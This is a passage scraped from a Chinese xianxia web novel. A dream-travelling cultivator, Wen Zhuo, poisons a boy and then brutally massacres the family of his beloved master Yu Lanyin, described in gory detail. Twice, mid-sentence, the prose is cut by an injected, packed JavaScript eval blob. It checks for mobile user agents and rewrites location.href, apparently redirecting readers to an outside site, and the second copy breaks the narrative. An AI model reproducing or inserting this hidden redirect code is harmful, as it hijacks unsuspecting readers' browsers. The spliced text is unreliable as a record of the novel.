大概有——玉府那一对儿丑角,大的那个男大十八变,变得肤若凝脂玉白无暇,小得那个一日不见如隔三秋,变得纤瘦高挑风流倜傥——那么久。 温卓只有时不时地拿出铜钱似的“破镜”,才能得以提醒自己所来究竟是为何。 庄周梦蝶,如今他早已成为梦中的那只蝴蝶,若是没了“破镜”这个锚点,他无比确信自己有朝一日会迷失在这无限真实又美好的梦中。 “……鹫鹰是野物,留不住的,兄长。” 玉阑音温温和和同那一对儿丑角儿里的弟弟——也就是玉怀筝——说道。 玉怀筝如今瘦了高了,脸长开了,一双吊梢眼虽然看着依旧不怎么养眼,但好在他嘴甜,平日笑口常开得喜庆,倒是也讨喜。 特别是招玉召秋喜欢。 玉怀筝嘟着嘴,“我花了好大功夫抓来的,还治好了它的腿,就这么跑走了真是好亏。” 玉阑音如今虚岁十六岁,这些年一直住在烟霞的那座偏远的院落里。 一开始温卓其实挺担心烟霞烟花之地出身,和玉阑音两人在玉府难免会挨人白眼受欺负,但如今看来完全是多虑了。 因为他平日听信的红墙里头女眷的勾心斗角的故事,说到底还是有权有势的人的故事。 其实真正不起眼的小人物,连在这故事里头拥有一个姓名都不配。 大概因为玉阑音实在是太不受玉府的重视,平日里鲜少有人同他们娘俩作对。 若不是专门提及,恐怕玉府的人都要忘记了硕大的府邸上还有这么一对儿喘气的娘俩。 玉怀筝大小就话多嘴甜,也会来事儿,常到处走来走去地串门,一来二去居然成了整个玉府里,玉阑音为数不多说的上话的人。 前几日玉阑音说过城南的桃酥好吃,温卓记在了心里,今日专程显出了原身,到城南买桃酥去了。 玉阑音看着闷闷不乐的玉怀筝,身边也没有温卓能求助,不由地也发了愁。 “可是那鹫鹰已经飞走了,想寻也寻不回来了。” “诶,对了!咱玉府后头不是有座山吗?那鹫鹰是不是飞到那去了?” 玉怀筝忽然一拍掌,随后揽着玉阑音轻轻地摇,“好阿弟,你常去那山林,了解那处,陪我去找找吧,好阿弟,求求你了。” 玉阑音这孩子,打小耳根子就软。 还没等玉怀筝开始软磨硬泡,他已经“好好好”地应下了。 玉怀筝笑起来,“阿弟,你真好。” 听了这话的玉阑音偷偷地红了耳朵,小声嗫嚅:“哪有……” 玉怀筝又是嘻嘻一笑。 但是,两个小孩,从天亮找到天黑,一会儿上坡一会儿下坡,累了个半死不说,愣是没能见到那鹫鹰的一点儿踪迹。 甚至连根毛都没见到。 玉怀筝性子直,脾气也急,东奔西跑一下午,早就找得不耐烦了。 他气呼呼地坐在树下,累得直蹬腿,竖起眉毛就开始抱怨:“根本就没在这儿!玉阑音,你干嘛一开始不拦着我来这里?你不是对这里很熟悉的吗?鹫鹰不来这处你怎么不早和我讲哦?” 玉阑音愣愣地站在原地。 好一会儿,他才轻轻地开口试图解释,“我不晓得鹫鹰会不会来这里的,我只是……” “别讲了别讲了,烦死了。你真没用。” 玉怀筝不耐烦地打断了玉阑音的话,站起身拍拍土,看也不看玉阑音一眼就哒哒哒地往回走了,“不找了,回家去了!都要饿死了。” 玉阑音愣愣地站着。他压根搞不懂玉怀筝在累什么。 明明他只负责站在原地指挥啊,真正跑上跑下的人是自己。 玉阑音摸了摸自己脸上和胳膊上被树枝划得乱七八糟的伤口。 怕回去被温卓看见担心,他想了想,掐了个诀,把这些细碎的伤口愈合好了,又翻来覆去好好检查了一番,这才跑着追上了玉怀筝的脚步。 温卓回到厢房的书房,看见桌前比起往日更加沉默的玉阑音,心下有些奇怪。 “阑音?” 玉阑音听到温卓冷不丁地开口,吓了一跳。 他冒冒失失地一转身,险些把桌上的镇纸拽地掉下来,“哥哥?你回来啦。” 温卓摸摸他的头,“发生什么事了?不开心?” 说着,往桌上扫了一眼,“连字都没练几张。” 玉阑音不是一个喜欢朝人倒苦水的人。从小到大都是如此。 他笑着摇摇头,带着槐安撒娇似的口音道:“没有不开心,就是在想哥哥怎么还没回来。” 或许是因为玉阑音和温卓待得时间太长,如今他连说话的口音都潜移默化地发生了变化,越来越像温卓。 也越来越像日后长大了的玉阑音了。 除了他撒谎的时候。 比如现在。 温卓也不拆穿他。 他看玉阑音一眼,随后垂眸,把桃酥装在碟子里,温声道:“不说这个了。不是喜欢吃吗,不赏个面子,尝尝?” 也算是温卓有本事,轻轻松松一句话居然就把玉阑音哄好了。 他笑了起来,“喜欢!我这就尝!” 玉阑音咔嚓咔嚓啃起桃酥,一边练字,把宣纸都抹得油乎乎的,老早就把下午的不愉快扔到了九霄云外。 也对嘛,反正再怎么样,他也还有他的神仙哥哥。 而且是他一个人的。 可是玉阑音不知道,他啃着桃酥心心念念的神仙哥哥,早在不知道什么时候偷偷离开了书房,人影儿都找不见了。 此时,温卓正站在后山的树林里,站在硕大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774130|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回溯咒障里,神情难辨。 温卓是个修仙界交口称赞的好性格,公正又忠义,沉稳又细心——尽管他自己也承认这其中有表演的成分。 习惯使然,他不太愿意报以这么大的恶意揣度一个没长大的孩子,但是…… 玉不琢不成器。 他不介意教教玉怀筝做人。 说来也生气。 怀筝怀筝,他第一次听见这名字就已经开始不爽了。 凭什么一个没什么可取之处的废物能叫怀筝,自己捧在手里怕摔了,含在嘴里怕化了的心尖尖上的人就只配叫阑音? 阑音。 这个名字温卓耿耿于怀了一百年,此刻更是愈演愈烈。 正巧最近这段时间学药理学得刻苦,也算是学有所成、小有建树。 如今正好验收一下成果。 被善玄“要观察不要改变”的箴言压着,温卓也不好做得太过火。 他不过是叫他发了点热,身上痒了痒,上吐下泻了几天,发了两天羊癫疯,顺便掉了掉头发,其余倒是也没再做什么。 温卓下药的时候很是叹惋。 果然还是和玉阑音这种好人厮混得太久了,连做坏事都变得平稳友善了。 放平时,事关玉阑音,他肯定是早把这人头拧下来当球踢两脚才能泄愤。 于是,玉阑音再一次听说玉怀筝的消息已经是在约莫一旬日后了。 那日府上来了两个跳大神的神婆,听说是府上夫人说她的宝贝怀筝中了邪,哭着喊着求玉召秋替她请来的。 玉阑音听得奇怪,同温卓说起这事,温卓也十分配合地假意疑惑了一番。 “啊?”“是吗?”“我不知道。” 一套小连招下来,玉阑音丝毫没发现不对劲,只当是玉怀筝真的是中邪了,就此作罢。 温卓作为“孤魂野鬼”,第一次隐约觉得时间快要到了,是在几年后的一个晚上。 那天晚上,他明明就坐在书房自己常坐着椅子上,但是玉阑音第一次没能看见他。 温卓呆呆地看着明明近在咫尺却在寻找他的玉阑音,愣住了。 他连忙解了自己身上的隐身术,可是即便是已经现了原身,玉阑音依旧没有作出反应。 玉阑音寻找温卓未果,心中虽然纳罕,但是没怎么记挂在心上。 毕竟人家也会有点自己的事情呢不是?哪能真有人闲得整天在他身边转悠呢。 玉阑音很喜欢吃广和楼的虾仁云吞。 虽然他没和任何人说过。虽然他甚至都没吃过。 他喜欢吃只是因为玉召秋往家中带过几次,他闻过,闻着特别香。 玉召秋一般是会往家中带两份。 一份给长兄玉关山,一份给二兄长玉怀筝。 就在温卓意外消失的第二日,玉召秋正巧又带了两份广和楼的云吞回了玉府。 但是玉关山这一日恰巧和他的朋友们约着到猎场骑马去了,不在府上。 于是玉阑音头一次从他父亲那处领来了一份虾仁云吞。 温卓还身陷不能现身的困境中。 他默默地看着端着云吞雀跃无比的玉阑音,心下有些不是滋味。 有点心疼。 又有点……怒其不争。 尽管他很清楚,此时的玉阑音不过只是一个还未及冠的孩子,渴求父亲母亲的关爱才是人之常情。 可是……怎么看怎么不舒服。 不就是一碗云吞吗? 若是和他说一句,他现在就能把整个广和楼都买下来给当礼物送去! 不过玉阑音听不见温卓的腹诽。 他开开心心地吃了半碗,剩了半碗。 玉阑音看着剩下的半碗云吞,吞了吞口水,但到底是没舍得再吃。 温卓直接被气笑了。 瞧瞧!瞧瞧这不争气的样子!平日缺你吃少你穿了吗!这是在干什么!难不成剩半碗晚上再吃一顿不成! 越看越心烦意乱,温卓气不过,更恨自己这时候和一口空气无甚区别,不然他定然是要指着玉阑音的鼻子骂一顿。 他第无数次地叹了口气,揉揉眉心,又看一眼他那不争气的小师尊,胸中更是郁结,气乎乎地转身出门透气散心去了。 等到他从后山溜达了一圈回来之后,就被玉府仆人的大呼小叫吸引地顿住了脚步。 “不好了不好了!小公子把二公子胳膊打断啦!玉老爷发火啦!” 小公子? 温卓一皱眉。 阑音? 阑音把玉怀筝胳膊打断了? 81.屠戮 别看玉府上上下下千号人,但是府上的男丁实在是很不兴旺,小一辈里便只有玉关山、玉怀筝、玉阑音三个小子。 温卓听见那劳什子小公子把二公子胳膊打断了的消息,一时间都不知道自己到底是聋了还是疯了。 不过这时候也顾不上这些,温卓脚底下踩风踩得像风火轮,马不停蹄地来到了玉府正殿。 正殿里这时候已经闹成了一锅粥。 温卓仗着没人能看见他,出溜出溜地钻过人流,来到了人群中心。 人群中心,是玉怀筝抱着拧了半圈的胳膊在悲痛大哭,玉夫人抱着玉怀筝哭天抢地,玉阑音垂着头两眼泛红,烟霞正在尖锐地辱骂玉阑音,玉召秋大动肝火。 各人有各事,真是要多乱有多乱。 温卓奔向玉阑音。 “阑音!” 这话音如同石沉大海。 此时的玉阑音仍旧看不见他,对于温卓的喊话至若未闻。 “……你这庶出的贱种真是好狠的心啊!我的儿子啊……还未及冠啊……胳膊断了,这今后的日子这可怎么办啊……” 一旁,玉夫人捶胸顿足地骂个不停,哭得比当事人玉怀筝还要大声。 “是啊,阑音!你为何动手打人!平日娇纵惯了不提,你今日这真是叫为娘丢尽了人!” 烟霞不施粉黛,脸气得煞白一片,指着玉阑音不分青红皂白地一通劈头盖脸。 骂得解了气,烟霞这才转过头去,当即便变了脸,卑躬屈膝地往玉召秋那处靠去。 她好不委屈地带着哭腔道:“玉大人……这件事我毫不知情啊!若是我晓得了我定然不会叫阑音做出这种事!您就原谅我们这……” 玉召秋被这苦连天的哀嚎吵得头晕脑胀,他胳膊一挥直接将烟霞推得一个趔趄。 “哭什么哭!妇人之见!哭能有什么用!” 被推到一旁的烟霞磕到了桌角,惊叫一声,一时哭声都止住了。 她捂着自己的脸,不可置信地含泪看向玉召秋。 玉召秋并不理会可怜的烟霞半分,甚至连个眼神都没有施舍。此时,他和玉阑音极为相似的面庞之上尽是平静汹涌地怒气。 “玉阑音!你来解释解释吧,这到底是怎么一回事!” 玉召秋虽然是在同玉阑音说话,但边说着,脚下边挪动了步子,下意识地靠向了玉怀筝和玉夫人那侧。 玉阑音从一开始便始终闷不作声地低着头,垂手站在一边,就仿佛处在风暴中心、被骂的人根本不是他似的。 听见玉召秋的话,他终于抬起了头。他眼眶红红的,双拳也紧握着,隐隐发着抖,但却不是因为难过和软弱。 他在愤怒。 玉阑音不卑不亢地同玉召秋对视着,甚至称得上十分有礼貌地拱手行了个礼——尽管落在别人眼里,这个动作是无比的挑衅。 “回父亲,我没有什么要说的。这次是玉怀筝不经允许动我的东西。以后若是再有,动一次我断他一只手!” “你!” 玉召秋偏心玉怀筝这嫡出小公子府上人人皆知,如今听见这旁院的玉阑音口出如此狂言,他简直是要背过气去。 “你这个小贱蹄子!真是和你娘一样下贱!” 没等玉召秋缓过气,玉夫人率先站起了身,抹了一把眼泪便开始破口大骂,“谁说我家怀筝动你东西了!我家怀筝,要星星有星星,要月亮有月亮,能贪图你那茅草屋里的什么!也不撒泡尿照照自己是个什么东西!” 她这话说着,站在玉阑音身侧的温卓率先狠狠敛起了眉。 在无人看见的地方,他周身猛地弥漫上一股肃杀的冷气,深邃的眼窝如今一片浓重的阴影,目光沉沉,此刻盯着玉夫人和玉怀筝宛如是在盯着死人。 玉阑音依旧穿着他华贵的重工服饰,不见一分一毫的狼狈,对襟刺绣领口衬得他的下颌极为消瘦却又极为坚毅。 他只一颔首,不语。 玉召秋怒火中烧,朝玉怀筝道:“怀筝,告诉他,你拿没拿他的东西!” 玉怀筝的胳膊不像不是脱臼,反而更像是被什么怪力压得碎了个彻底,骨头碎得渣都不剩,软绵绵地瘫着,活像一根面条。 玉怀筝此时抱着他的左胳膊哭得上气不接下气。 但也不知是哪里来的牛劲,喊起话来倒是口齿极为清晰,“我没动他东西!我没动他东西,爹,娘!我只是去找他……他不在,我只,我只是吃了他屋里剩下的半碗云吞!我没动他东西!没动他东西!” “半碗云吞?” 不止玉召秋愣住了,在场所有人包括温卓,齐齐愣住了。 一家之主玉召秋直接被气笑了。 他二话不说,忍无可忍似地大步走到玉阑音面前,扬起胳膊,结结实实地往玉阑音脸上抡了一巴掌。 这一巴掌用力极大,直接将小小的玉阑音掀翻在了地。 温卓其实已经反应得很快了。 在玉召秋的手落下之前,他便下意识地一个箭步上了前,稳稳地挡在了玉阑音面前,试图替他挨下这一巴掌。 但是…… 温卓就这么眼睁睁地,看着玉召秋的巴掌直直地穿透了自己的身体,带起一阵风,随后结结实实落在玉阑音脸上。 他的瞳孔猛地一缩。 “阑音!” 他根本不敢迟疑,下意识地迅速回身,想要去接住玉阑音倒地的身体。 可是无独有偶,玉阑音的身体也轻飘飘地穿过他的臂膀,“噗通”一声,重重摔在了地上。 温卓看着地上躺着的,发髻被打得一团散乱,嘴角出血了的玉阑音,当场愣住了。 他一时都屏住了呼吸,唯一能做的只有低下头,愣愣地颤抖着去看自己空荡荡的臂弯。 为什么…… 为什么! 为什么偏偏是今天! 他不知所措地蹲下,无助地想要去触碰玉阑音。 “阑音……阑音,对不起,我在,我就在这里……阑音,你看看我,你看看我啊。” 玉阑音眼前一片空白,甚至耳鸣阵阵。 他在原地躺了好久好久,直到他舔到了嘴角和脸上的血,尝到了一股子铁锈味,这才跌跌撞撞地站起了身。 “……你这个孩子!你的兄长不过是吃了你的云吞!你这是做了什么事!你让娘还怎么有脸见人了……” 玉阑音摇摇晃晃地站着,耳畔嗡嗡的,听不太真切。 辨认了好一会儿才愣愣地想到,哦,说话的是他的娘亲,烟霞。 “……你这孩子心肠怎能如此歹毒!这一代的云州上仙印记落在你身上,可你居然对着自己的兄长下如此重手!你如何能配得上去做那云州上仙!” 玉阑音甚至不算清明,后知后觉地玩着“听音识人”的小游戏。 嗯,这次这个是他爹,玉召秋。 云州上仙…… 对哦,他及冠之后,还要去做云州上仙哦。 玉阑音呆呆地摸了摸腰上的“云”字印记的玉佩。 可是…… 可是。 这玉佩,一开始不是他的啊。 真正衔玉而生的那人……明明是玉关山啊…… 在这之后他又断断续续挨了好多骂,虽然具体骂了什么他其实也已经记不清了。 他只记得大概好像是张口说了句什么,然后离他最近的烟霞又给了他一巴掌。 不如玉召秋的那一巴掌疼。 所以他没往心里记。 他只抬头疯狂地不似人形的烟霞一眼,没说话。 玉阑音脚下沉沉地往自己屋里走。 走得轻飘飘的,又踉踉跄跄的。 他不记得自己是怎么进屋的了。 但是刚一进屋,他便忽然看见了身旁鬼似地突然出现的温卓。 玉阑音眨了眨眼,看了温卓好一会儿,终于慢半拍地拍了拍胸脯,扯起一个不轻不重的笑容,“哥哥,你吓死我了。” 温卓再也忍不住,第一次在玉阑音面前撤去了隐身术,现出了原身,狠狠地、却又轻柔地将玉阑音环抱在了自己的怀里。 年幼的玉阑音个子很小,一身干净的中草药香,窝在他的怀里只露出毛茸茸的发顶。 “疼吗,阑音。”温卓问。 或许连他自己都不知道自己的声音居然有朝一日居然能颤抖到如此程度。 怀里的玉阑音好久好久没说话,直到温卓感受到他僵硬的肩膀忽然极为轻微地松懈了下来。 “嗯。” 他听见玉阑音道。 玉阑音本来以为自己是能忍住不哭的。 但这次也不知道是怎么了,在这个他连名字都还不知道的人怀里,他忽然眼泪决了堤。 “对不起,阑音……对不起,是我的错,是我错了,是我没能保护好你……” 温卓的心脏被怀中这人的眼泪绞得生疼,他一边替玉阑音擦着泪水,一边轻声地、不住地道着歉。 玉阑音拽着温卓的衣袖,轻轻地别过脸,埋进了他的胸膛。 “哥哥……那半碗鲜虾云吞,我本来是想留给你的……现在没有了,对不起,我……” 如同电流席卷了全身一般,温卓周身猛地一个颤栗。 “……给我的?” 玉阑音一边抽泣着一边在他怀里点头。 “对不起,哥哥,是我,是我没能看好,我……” “……嘘,嘘,我的小心肝……别说了。” 温卓出声打断了玉阑音,顾不上自知无礼,颤抖着在玉阑音发顶落下一吻,“你的哥哥现在心疼得要死了。” 哭泣中的玉阑音并没有察觉到这个隐晦又一触即分的吻。 他抬起一双泪眼看向温卓,却只看到了温卓轻轻颤抖着的苍白的唇。 温卓手一动,替玉阑音拂去身上的伤口。 随后吐出一口浊气,将头埋在玉阑音孱弱的肩头,环紧手臂。 这是一个如此沉默的,心碎的,长久的拥抱。 直到玉阑音隐隐觉得他的肩头上已经一片濡湿。 这一晚的温卓十分寡言。 虽然他平时话也不算很多,但玉阑音很敏锐地能察觉到这其中的不同。 这种略偏差的错位感让他心中有些惴惴不安。 即便是此刻,他已经换好了里衣,乖乖地窝在了被子里,却仍旧担忧地皱着眉头。 他伸手抓住了准备离去的着温卓的手,“哥哥。” 对于玉阑音,温卓向来是有问必答有求必应。 他从善如流地转过身,轻轻回握着那双纤瘦的手,“嗯?” “你别不开心。” 那话就哽在喉头,但玉阑音不知道怎么才能说出口,急得舌头都要打结了,只能笨拙地又重复道,“你别不开心。” 黯淡的灯光下,温卓眼中闪烁着的是玉阑音看不清、也看不懂的神情。 他轻轻地紧了紧手指,沉默许久才道:“睡吧。等明天,明天,一切就好起来了。” 玉阑音并不知道明天会不会真的好起来。 但是他这一晚上睡得并不安稳,直到很多年后,他在会议中才后知后觉地意识到,原来是因为这一晚的温卓,第一次没有和他说那句,“明天见”。 第二天,玉阑音是被厢房仆人的尖叫吵醒的。 他几乎是立即惊醒,惊慌地披上衣服就跑出了门。 “晋娘!怎么了?” 此时的晋娘失神落魄地跪坐在地上,三魂没了七魄。 她捂着脸,颤颤巍巍地往院子柳树下指了指。 玉阑音顺着晋娘手指的方向看去,目光刚一触碰,他几乎是瞬间变了脸色。 因为柳树下,原本一片翠绿生机盎然的草地不再,取而代之的是一片喷溅的血色。 树下,躺得歪七扭八,瞪着双眼,面露惊惧,死相惨重的那人,正是昨日断了一臂的玉怀筝。 玉阑音只是顿了一瞬间。 随后他立即回身扶起了晋娘,轻声安慰,殊不知自己的声音也颤抖无比,“晋娘,晋娘……别怕,你先回屋里去,把门锁好,我不回来,谁来都不能开门,知道了吗?” 晋娘满脸泪水地连连点头。 “好,好,小公子,我不开门。我不开门。” 等到确认晋娘进了屋落了锁,玉阑音在路过烟霞屋子的时候,他仿佛是有预感似的,鬼使神差地戳开了窗纸,往里看去—— 看见屋内的场景,他的瞳孔骤然一缩。 屋内是同样的一片血色,甚至比起院外有过之而无不及。 烟霞双目两个血洞仍旧汩汩地冒着鲜血,直直地躺在梳妆台下,没了呼吸。 玉阑音捂住了自己的嘴,愣愣地向后退了两步。 他下意识地往自己身后看去—— 没有人。 玉阑音顿住了呼吸。 没有人? ……哥哥呢? 他又不见了吗? 玉阑音忽然意识到了什么,猛地朝厢房院落外跑去。 他等不及,直接脚下御风升空,往正殿赶去,可是还没等接近正殿,他便被正殿扑面而来的血腥气呛得一个跟头。 正殿的院落里,玉召秋、玉夫人、玉关山,三人的三颗头此时被整整齐齐地挂在树杈上。 地上是一坨坨血红的、看不出原型了的残肢碎片,三个人的身体部位七零八落,血迹染红了整个院子,明明只有三个人,愣是死出了大屠杀的阵仗。 可是玉阑音似乎对死去的这三人并不感兴趣。 他只是愣愣地看着院落中央,唯一一个还站着的,孤寂又萧瑟的背影。 这人手上拿着一柄木剑,一袭玄色单袍,肩膀宽阔,身材修长挺拔。 玉阑音不是一个爱说肯定句的人,但是对于这个人,他敢说,即便只是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后不由分说地将那串佛珠套在了玉阑音的手腕上。 “对不起,阑音,我知道你现在大概恨极了我,但是……”温卓一顿,“我很爱你,阑音。记住我,阑音,记住我,哪怕是因为恨我也好。” “哥哥!” 玉阑音的注意力几乎不在温卓的话上,他一瞬不瞬地盯着温卓正在逐渐消散的身躯,惊慌失措地想要抓住他。 可是他伸出的手却只能无能为力地穿过温卓雾化了一般的胳膊。 温卓此时同样无法回握玉阑音,他狠狠压下喉头的血腥气,眼看着自己的身体在变得透明,于是语气骤然又加快。 “阑音,这串佛珠灵得很,保平安。好好活着,阑音,别死,也别去做云州上仙,一定要记得我,记得来找我复仇。我真的……”真的好爱你。 他的声音越来越轻,直到最后已经约莫像是散落在了风里,模糊得再也听不清。 玉阑音眼睁睁看着温卓逐渐消散。 他崩溃地痛哭,胡乱地去抓虚空中的温卓,却再不能碰到他的衣袖,“哥哥!哥哥你别走!我没有!我没有恨你,哥哥!你别走!我只想要你陪着我,他们我不在乎的,哥哥,你别走好不好啊哥哥……” 他年幼的声音因为疯狂的大喊已经撕裂得不成样子。 可是他甚至都不确定,最后的时间里,即将消散了的温卓有没有听见他说的这些话。 他只能一味地哭泣,一味地说着“我不恨你”。 可是面前却已经空空荡荡,再无人迹。 玉阑音床榻前,昏昏欲睡的善玄又被鬼似地突然出现的温卓吓了一跳。 “师弟!你能不能别老这么一惊一乍!师兄的命也是命好不好!真被你吓得掉寿数了!” 不过他说着说着就顿住了。 “咦?师弟,你怎么了?怎么哭了?” 温卓眼睛通红地看了一眼善玄。 “娘的!” 善玄一个没忍住,大骂出声,甚至连连后退了几步,“师弟!你你你,你先稳住!你从梦里干什么了这是,你这他娘的都他妈成了厌族了师弟!你你别搞我啊!” “没变成厌族。” 温卓滞涩地开口。他的嗓音里带着十分明显又刺耳的金属声,这让他所说的话是那么没有说服力。 善玄皮笑肉不笑地咧了咧嘴,“你这话说出来自己不觉得丧良心吗师弟。” 温卓不理他,兀自按了按眉心。 不知过去了多久,等到他眼底的红光才终于褪干净了,他才重新抬了抬眼,道:“真的没有。” 善玄这辈子都没见过人和厌族切换如此自如的先例。 他狐疑地上下打量着温卓,“师弟,别唬我。我这人十分正人君子,十分大义灭亲,你真成了厌族我第一个饶不了你哦,我和你讲。” “真的没有。” 温卓疲于解释,只是揉了揉发痛的额角,又道。 他不过是…… 半推半就地发了狂,把玉阑音的爹娘兄长杀光了而已。 一想到这里,温卓脸上又是唰的一下苍白无比。 因为对于这件事,他甚至没什么可和玉阑音解释的。 不杀不足以泄愤,仅此而已。 他甚至不能将所有的责任都推到厌族身上。 因为……他那时候,他明明,还残存着自己的意识。 温卓一直以为自己修炼心性多年,不能说是百炼成钢,也大约能称得上是半个无坚不摧了。 但这时候,他才真真切切地绝望地想道,原来厌族,再怎么伪装,都永远不是人类啊。 玉阑音都不记得自己是怎么回到自己院落里的了。 院子里血气横天,整个场面依旧惨不忍睹。 树上的夜莺巢不知什么时候倾落在了玉怀筝的脚边,七八枚鸟蛋碎了大半。 玉阑音走过去看了看,捡起剩下的两枚完整的蛋,在其上落了个咒,收进了自己的识海。 晋娘听见了玉阑音的声音,终于松了口气,打开门朝玉阑音小跑而来。 “小公子,小公子……嗯?小公子,发生什么了?小公子?你怎么哭了?” 晋娘脸色一变,似乎是猜到了什么。 她顿了顿,哽咽道:“都没了……都没了也没事,公子,玉府家大业大,今后你便是玉府的主人,我们东山再起,我们好好过……” 玉阑音哭得不能自已。 但是除了悲伤以外,更让他感到窒息的是无边的寂寞,因为……硕大的玉府,居然只有他自己才知道自己究竟是为何而哭。 关于他那位不知名的,匆匆而来,匆匆而去的年长的朋友。 他甚至找不到任何一个人能倾诉。 可是他真的太难过了。 于是他只能一遍一遍地同晋娘说,晋娘,树上的夜莺死了,玉怀筝害得它们摔下来了。 我的夜莺死了。 82.百合 “……什么?什么!师弟你莫不是在说胡话?” 善玄的神情不亚于惊慌失措,“我以为你这是功成名退披甲凯旋,没想到你这是杀人放火落荒而逃啊!” 温卓及时道:“不是落荒而逃,是被梦境踢出来了。” “滚蛋,都一样。” 善玄显然不在乎他的狡辩,摆摆手,“师尊还未醒,你就好人做到底将功赎罪,麻溜地再进去一趟……” 温卓的表情有些难看,关于再次入梦他不是没考虑过,只是…… “阑音他……还会让我入梦吗?” “不试试怎么知道呢。” 善玄托着腮坐在桌边,看热闹不嫌事大,“快快快,时间就是金钱啊师弟。” 形势所逼,温卓叹了口气,点了点头。 他认命地拿出铜钱儿似的破镜,轻轻搁在手心。 温卓慢得出奇的动作,和拖拖拉拉的念咒语的腔调,无一不在彰显着他并不平静,甚至是极为焦躁的内心。 可是出乎他意料的,就他话音刚落的瞬间,熟悉的抽离感瞬间袭来。 ……成功了? 他身形开始摇晃着变得浅淡。 在消失前的最后一刻,温卓终于回了神,愣怔地往善玄那处看了一眼。 善玄好整以暇地一颔首。 “……我都说了嘛,你杀了师尊的爹娘表兄,师尊他怕是感激你都来不及呢……” 善玄的声音听上去十分愉悦,甚至隐隐带着参破天机之人的骄傲的神情。 只是他这话说得太轻了。 即将抽离,虚影儿似的温卓根本听不清,只能看见善玄笑眯眯的,嘴一张一合似乎是说了什么。 就在下一刻。 温卓耳畔的声音忽然尽数被掠夺,突如其来的完全寂静让他耳朵猛地袭上一阵紧绷的不适感。 他的眼前的场景也随之变换,他似乎是来到了另外的空间,四周空旷一片,却黑暗无边,一望无际,没有一丝光亮的虚空深处的黑暗。 温卓无师自通一般福至心灵。 识海。 这里似乎是……阑音的识海。 修仙之人的识海,大小与陈设皆凭心而动,大多数人识海中的场景都是这一生中最为重视之物的投影。 可能是久违的故居,可能是无垠的旷野,甚至可能是幽闭的山洞。 哪怕是温卓也不例外。 可是他从没有见过有任何一个人的识海会是这样的。 如此荒芜,如此寂寞,如此……恐惧。 但是温卓并没有在原地停滞太久。 因为很快,他便敏锐地察觉到,身后由远及近,有人正在缓缓向他走来。 无边的黑暗和寂静中,温卓的嗅觉便成了他唯一的感官。 于是身后那人身上的药香是如此清晰地传来,随后被温卓稳稳地捕捉到。 “阑音。” 温卓似乎并不是在疑问,反而是轻飘飘却掷地有声的肯定的呼唤。 他转过身,直到他看见了身前那白衣胜雪消瘦的身形。 “阑音。” 梦境中时间的流速和现世不同。 此时的玉阑音已经再不是玉府上的小公子了。 他身上的衣服已经变成了温卓见惯了的那广袖长袍样式,一袭象牙白色单袍,不着里衣。 他长发大散,未束发,也未有任何配饰,素净到近乎寡淡。 玉阑音的一双眼睛向来是一片温和的含情脉脉,此时依旧如此。 他浅浅地笑着,同温卓漆黑如海的眼眸对望。 良久的对视后,玉阑音眨了眨眼。 他轻声一笑,“找到你了。” 未等温卓从怔忪中回神,面前的玉阑音已经逼近了他。 他温和却坚硬的手拽住了温卓的前襟,仰头,在温卓苍白的唇上落下了一个迟到了许多年的吻。 温卓被他温热又柔软地唇勾得眼眸一暗。 正当想要就着这个姿势反客为主的时候,玉阑音已经轻轻地放开了他。 温卓看着面前这人坏心又揶揄的笑,有些危险地眯了眯眼。 这人……他什么都知道,他是故意的。 玉阑音的确是故意的。 方才离得近,温卓身体着火似的温度都要烧到他的身上了,他再不松手不是自讨苦吃呢么。 温卓重重地吐了一口气。 许久,他道:“阑音,你……是从什么时候知道是我的?” 他忽然没头没尾,语意不详地这么说了一句。 不过玉阑音却是瞬间就听明白了温卓是在问什么。 温卓入梦之时身上带着隐身术,他并不知道玉阑音会看得见他,于是便没有刻意变换面容。 依照玉阑音的记性,他没道理不记得自己。 “一直。” 玉阑音笑着,轻轻地一个叹息,“我一直知道是你。” 随后,玉阑音就感觉自己被一双坚硬又滚烫的手臂环抱住了。 “对不起……”温卓喃喃道,“让你一个人等太久了,对不起,阑音……” 玉阑音比温卓矮一些,仰着头,下巴轻轻地靠在温卓的肩膀上。 “没事。”半晌,他轻轻地眨了眨酸涩的眼睛,“不久。” 现世。 屡屡受到迫害的善玄这次总算是提高了警惕,从头到尾打起了十二分精神,可算是没再被从天而降的温卓吓一跳。 他抱臂,上上下下打量着喜上眉梢的温卓,“哟,这回还挺快。人逢喜事精神爽了?” 温卓脸上的喜色不遮不掩,“嗯。” 似乎是有所感应特地来佐证似的,温卓话音将落,床榻之上高烧不退昏迷多日了的玉阑音便有了反应。 他床榻外侧的手臂微微一动。 善玄迅速捕捉到了这个动静。 他不由地大喜,毫不吝啬地对着温卓竖起了一个大拇指,“不愧是我的好师弟!” 温卓连忙上前,俯下身来摸了摸玉阑音的额头。 嗯,退烧了。 他总算是放下了心来,这才朝善玄客客气气一拱手,“师兄过奖。” 此时拢虚的情况不比玉阑音好多少,这几日的他活像是瞬间苍老了一万岁。 身体本就欠佳,如今伤了心神,恶化得更加迅速。 玉阑音苏醒后,稍加修养了半日,一听说拢虚病倒了,也顾不上自己残破的身体,赶忙前来探望。 “……没什么大不了的,就是老啦……” 拢虚躺在床上,咳得肺都要出来了,“还麻烦真人你跑着一趟……” 虽然美其名曰“探望”,但是玉阑音来到此处后,其实也只是安静地坐在他的床边,连开口的次数都很少。 这两人,年纪一个比一个大,脸色一个赛一个的乌青,打眼一看都分不清哪位才是真病号。 玉阑音垂着眸子,摇了摇头。 “怪我,拢虚。是我撺掇他随我出去,却没能把他全须全尾地带回来……”他的声音轻得几乎听不清,“都怪我。” 对着拢虚,元宿央的父亲,玉阑音终于第一次剥开胸膛,袒露出胸口的那块巨石。 